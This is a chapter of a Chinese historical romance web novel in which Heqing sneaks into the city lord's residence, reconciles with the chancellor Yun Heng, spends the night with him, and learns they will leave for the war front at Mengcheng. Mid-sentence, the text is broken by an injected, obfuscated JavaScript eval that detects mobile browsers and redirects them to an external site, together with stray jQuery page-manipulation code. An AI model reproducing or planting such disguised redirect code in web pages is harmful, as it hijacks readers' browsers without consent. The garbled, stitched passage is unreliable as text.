又是夜晚,贺晴刚去看过小禾小苗,他们在婆婆的照顾下已经睡下,只是小禾眼角还挂着一颗晶莹的泪珠,应该是刚刚哭闹过。
昏暗的灯光中,婆婆轻抚着小禾的额头,爱怜地说道:“这两个娃娃真是命苦,没了爹娘现在叔父又不见了。”
“婆婆,陈大哥会回来的,还烦你劳累继续照顾他们。”
“这你不必担心,我老婆子只要活着一天,就会一直照顾这俩小娃娃。”
随后贺晴回房换了一身衣服,再次出了房门朝院外走去,地上湿漉漉的,空气有些潮湿,应是刚刚下过雨。
她疾步朝府衙奔去,漆黑的夜晚,也分不清哪里有水洼,只顾往前奔去,溅起一路泥泞。
贺晴站在城主府的围墙之下,仔细瞧了一圈,随即眼神一凝翻身跃上墙。她伏低了身子,警惕地朝围墙之内望去,只见远处的回廊之上,有侍卫巡视,他们正背对着贺晴往另一方向走去,她便趁机往下一跳。
谁知这一跳跳坏了。她找的一块落脚之地,因为下雨又天黑,没发现那里的泥土又湿又滑,结果“砰”地一声,摔了个狗吃屎。
弄出这么大的动静,那巡逻的侍卫想不发现都难。
贺晴从泥地里爬出来时,眼前已经站了七、八个身影。
贺晴尴尬的笑笑,正想着如何脱身之时,这些侍卫却没当回事,面不改色地走了。
什么意思?这么大个形迹可疑偷偷摸摸贼头鼠脑的人,他们居然不管不顾地走了?总得有点反应吧。
贺晴想拍拍身上的泥土,只见手上更脏,所幸作罢。
没人管她,她便大摇大摆地朝里走去。
行至庭院之中,逮住一个丫鬟,向她问道:“不知云丞相可在府中?”
丫鬟先是吓了一跳,接着细细打量了眼贺晴答道:“在。”
“在哪儿?你给我指个方向。”
丫鬟眼神瞬时变得八卦又暧昧,竖起尖尖的指头,指着后方:“云丞相现在住在后院的一间宅子,你往那边走再右拐,穿过回廊,左手边有一道门,进入门内那间最大的屋子就是。”
“好...”贺晴还想问点什么,丫鬟却已笑着捂嘴跑开了。
这是一处僻静的院落,贺晴轻叩房门。
“进来。”
两两相望,似有千言万语。
云珩坐在书桌前,将手中书卷轻轻放下。
贺晴正想如何开口,只见云珩眉头轻皱。
“你等一下。”他起身朝外走去。
贺晴独自在房中,望着脚下自己的影子,心中忐忑。
不多时,云珩返回屋内,手中端着一盆清水。
“过来。”云珩望了望他对面的凳子。
贺晴乖乖走了过去坐下。
云珩从怀中取出方帕,小心浸湿了水。
水流哗啦,方帕被拧干水分,轻轻覆在贺晴的脸颊之上。
云珩专注地擦拭她脸上的每一寸肌肤。
温热又潮湿的方帕在脸上来来回回,一股奇异的感觉也随之渗入皮肤,汇入血液,奔向胸口。
贺晴脸上发烫,又觉得那方帕挨在脸上冰冰凉凉甚是舒服,令人欲罢不能。
云珩又重新打湿了方帕,将贺晴的手轻轻托起,她感觉她的手轻飘飘的,身子也轻飘飘的,似飘在云里。
云珩将她手上的泥擦拭干净,抬眼却看见她额间贴着一小簇发丝,替她轻轻拨开,她的眼睛此时湿漉漉的,皮肤也湿漉漉的,连那粉红的唇瓣也是湿漉漉的。
他心中为之一颤,慌忙避开了视线。
“你怎么如此心急。”
贺晴一怔,眼睛瞥到盆中变得浑浊的水,突然不好意思起来,刚才自己的模样一定特别狼狈。
“我...”谁知她话头一变,“要早知道进来没人拦我,我就不翻墙了。”
云珩愣了愣,随即笑道:“你是在埋怨我没告诉你么?”
贺晴眼睛瞥往别处。
“不知是谁在躲着我,在灵城之时,竟然就那么跑了。”
“我那不是跑,是为事奔忙。”
“这次若不是我瞒下陈大平的行踪,你怕还在拧巴着不来见我。”
“拧巴?谁拧巴?”
“你。”
“你乱讲!”
时隔这么久,俩人再次见面竟像小儿女般斗起嘴来,可能他们自己都浑然不觉。
“你还在生气么?”
“生什么气?”
“刘成。”
贺晴瞬间变了脸色。
云珩叹了口气:“对于之前的事,再解释也无用,但是我只希望你能信我,答应你之事我一定会做到。”
“我只是有些失望,你叫我信你可你却不信我。”贺晴缓缓说道。
这句话像把刀子扎向了云珩的心里。
贺晴继续说道:“我相信你是相信你这个人,刘成这件事,我不理解你们的做法,但是并不影响我相信你。我说过,我身边之人更为重要,为你们我可以暂时放下仇恨。路上多曲折,多复杂不要紧,重要的是我相信之人能与我携手一起到达终点。”
她的黑色眼珠里似有旋涡将他吸入进去,云珩伸手一拉,贺晴已经在他怀中。
“对不起。”
“我从来没有怪过你,那时,若不是你,我不可能活着离开京城。后来我也想过,你有办法保我不死,杨老伯应该也是活着的,对吗?”贺晴脸贴在云珩的胸膛之上,耳畔传来强有力的心跳。
“嗯。”
“杨老伯去哪儿了?”
“去南方了。”
“去那干甚?”
“调查一些事情。”
贺晴猛地从怀抱中弹起,一双眼睛似怒似怨的望着云珩:“我们刚才说了什么?你又忘了?”
这哀怨眼神、埋怨语气令云珩不自觉紧张起来:“还是查刘成。皇上看中刘成的才能,这就是他的免死金牌,我细查过刘成的背景及经历,无论如何也不能相信他有能力增加粮食产量。”
“你是说另有其人?”
“嗯,我也问过杨旺根,他说未见过刘成研究种植粮食,也未见刘成接触的人中有种植粮食的。唯一的可疑之处,刘成这两年每时隔一季便会独自去一趟南方。”
“这刘成实在是狡猾,也实在是高明,这块金牌定是被他藏起来了。”
“只要摘掉这块金牌,想要拿下他就易如反掌了。”
贺晴望着云珩,心中感慨万千:“谢谢你。为我做了这么多。”
云珩淡淡一笑又再次将贺晴拥入怀里:“这是为我自己,忘了告诉你,我心悦与你。”
低沉的嗓音就在耳边,贺晴大脑一片空白,她神使鬼差地从云珩怀里抬起头来,目光锁定他的嘴唇,又不由自主地落下一吻。
她慌忙埋下头来,潮红已蔓延至耳根脸庞,刚刚自己一定是被什么夺了魂。
云珩身形一僵,心中暗暗懊恼没有及时捕捉到那抹柔软,他应该强留这份温柔。
怀中人儿埋在胸前,他抿了抿嘴巴,再也抑制不了内心的冲动,将她的头轻轻扣住,展开疯狂的反击与掠夺。
唇齿香甜,情意缱绻。
良久后分开,彼此对望,皆余意未尽。
新鲜空气涌来,可贺晴仍旧忘了如何呼吸,胸腔起伏剧烈,脸颊两坨绯红,眼神似醉酒一般迷离。
此时更深露重。
云珩望了眼窗外的夜色,再看看眼前的贺晴。
思忖片刻,他的双手覆在了贺晴的衣带之上。
“你干什么?”贺晴抓住了他的手。
“夜深了,该睡觉了。”
“我在这里睡?”
“嗯。”
“不可。”
“为何不可?”
“不合适。”
“为何不合适?”
“男女有别...”云珩问得理直气壮,贺晴竟有些怀疑自己了。
“你大半夜从这里出去才不合适,只有光天化日之下,别人才不会怀疑什么。”
贺晴点了点头,她隐隐觉得有些不对劲,可是又说不上来。
云珩的手又继续下去。
“你干什么?”
“脱衣服。”
“为什么要脱衣服?”
“你衣服上的泥巴这么多,岂不弄脏了床铺?”
贺晴点了点头,下一刻又及时反应过来:“我自己来。”
面对房间仅此一张的床,贺晴又犯了难。
“荒郊野外之时又不是没挨着睡过。”云珩说道。
半晌之后,俩人躺在床上,云珩闭着眼睛,贺晴的眼睛却睁得老大。
怎么想都觉得不对劲,为何她不自觉的就顺从了云珩的意思,他说什么就是什么。
而且……贺晴反复想刚才发生的事情,如此热烈又强势的吻,这是同一个他么?
越想越是清醒,越想越纳闷。
身边久久没了动静,贺晴便小心翼翼地侧过身来。
谁知此时云珩也侧过身来,只一寸,两人便是脸贴着脸,挨这么近,他呼出来的气吹在脸上痒痒的。
“还不睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092403|195486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
贺晴呼吸一滞:“睡不着。”
“为何?”
“我好像重新认识了你。”
“你还想再继续认识认识么。”
“......”
黑暗中云珩嘴角微扬。
他伸手将旁边僵硬的身体环住:“我只对你这样。”
“......”
又是长久的沉默。
“你睡着了吗?”贺晴问道。
“嗯?”
“我想问你陈大哥去哪儿了?”
“……睡觉,明日再告诉你。”
这一晚似乎很漫长,贺晴醒过好几次,半梦半醒之间,身边还有他,她听着均匀的呼吸声便又沉沉睡去了。
醒来之时,天已大亮。
贺晴一惊,侧过头来一看,云珩尚未醒来。
还好还好,她暗自庆幸。
她还是看了半晌他的侧颜后,才麻溜地从床上爬起来找自己的外衣和鞋子。
刚把一只脚塞进鞋里,此时门外传来了动静,似是有人接近。
不好!贺晴回头一望,云珩的眼睛还在闭着。
“叩叩叩。”
哎呀,怎么还敲门了,我往哪里躲!?贺晴焦头烂额。
“进来。”云珩的声音从身后传来,贺晴一看,只见他端坐在床沿上,衣衫整洁,丝毫不像刚醒来的样子。
门被打开,几个丫鬟走了进来。其中一个看起来十分眼熟,好像正是昨夜在庭院中碰见的那位。
她手捧一个托盘,上面放着一套女子衣服。
“大人,您需要的衣服已经准备好了。”
云珩点了点头。
贺晴却万分震惊,他是什么时候叫人准备衣服的?!
“你试一下吧,这么久没见,你似乎胖了点,我说的尺寸不知够不够。”
丫鬟将托盘送到了贺晴面前,贺晴分明看见她低垂的眉目已经弯得不能再弯,嘴角的笑意浓得不能再浓。
贺晴僵立在原地,她感觉自己被云珩哄骗了!这种情形怎么能让人不误会!不过还有一件事更过分!令人血气上涌!
云珩看见贺晴没动,便开口对丫鬟们说道:“你们将东西放下出去吧。”
“是。”
房间又只剩他们二人,可是贺晴还背对着云珩。
“阿晴?”云珩从床沿起身,绕道贺晴面前。
只见她五官缩成一团,忽又瞪着眼说道:“你怎么换了丫鬟伺候?清风呢?”
云珩一愣,随即轻笑道:“一大早就喝醋,小心胃酸。”
“......”
“在外不方便,临时起用她们,清风去做我交代给他的事去了。”
见贺晴脸色只好了几分,云珩又说道:“以后我自己来。”
贺晴这才脸色变好。
云珩笑着摇了摇头,眼里尽是宠溺。
贺晴换好衣服后,云珩满意地点了点头:“不错,简洁利落,很适合你。”
一身淡蓝色衣裙,柔和素净。
“对了,陈大哥去哪了?”贺晴问道。
“他诛杀朝廷命官,本是死罪,但念在形势所迫,受人所逼的情况下从轻处罚,判为充军。”
“我看他的手下都被收做衙兵了。”
“嗯。望城城主之职暂时空缺,在朝廷委派官员下来之前,由灵城城主蔡广暂时代理,本可让陈大平就近充军留在望城,可毕竟他杀的是城主,同样身为城主的蔡广却不能留他,纵使陈大平没有反叛之心,但只要做了反叛之举,便是有罪的,留在手下便会使自己的威望受损,不利与统领军队。”
“原来如此。小五当时说的也是这个意思吧。”
“小五是谁?”
“新认识的朋友。”贺晴又问道,“那陈大哥去哪儿了?”
“孟城。我们明日也要出发去那里。”
“真的?”
“嗯。元国已夺我国几座城池,他们大军在孟城城外驻扎久久窥伺,却不敢前进半步,原因之一是孟城易守难攻,二是孟城城主骁勇善战。虽然元国暂时没有攻城之象,但不代表他们没在做攻城的准备,只要破了孟城,拿下孟城比邻几城便易如反掌,兵锋直指京城也只是时间问题。”
贺晴面色变得慎重。
“十万大军即将到达前线,此次去孟城,随时准备与元国开战。”云珩顿了顿,“你...”
“我也去!”说不定...说不定...贺晴眼里有什么在闪烁。
云珩沉默半晌,最终还是说:“好。”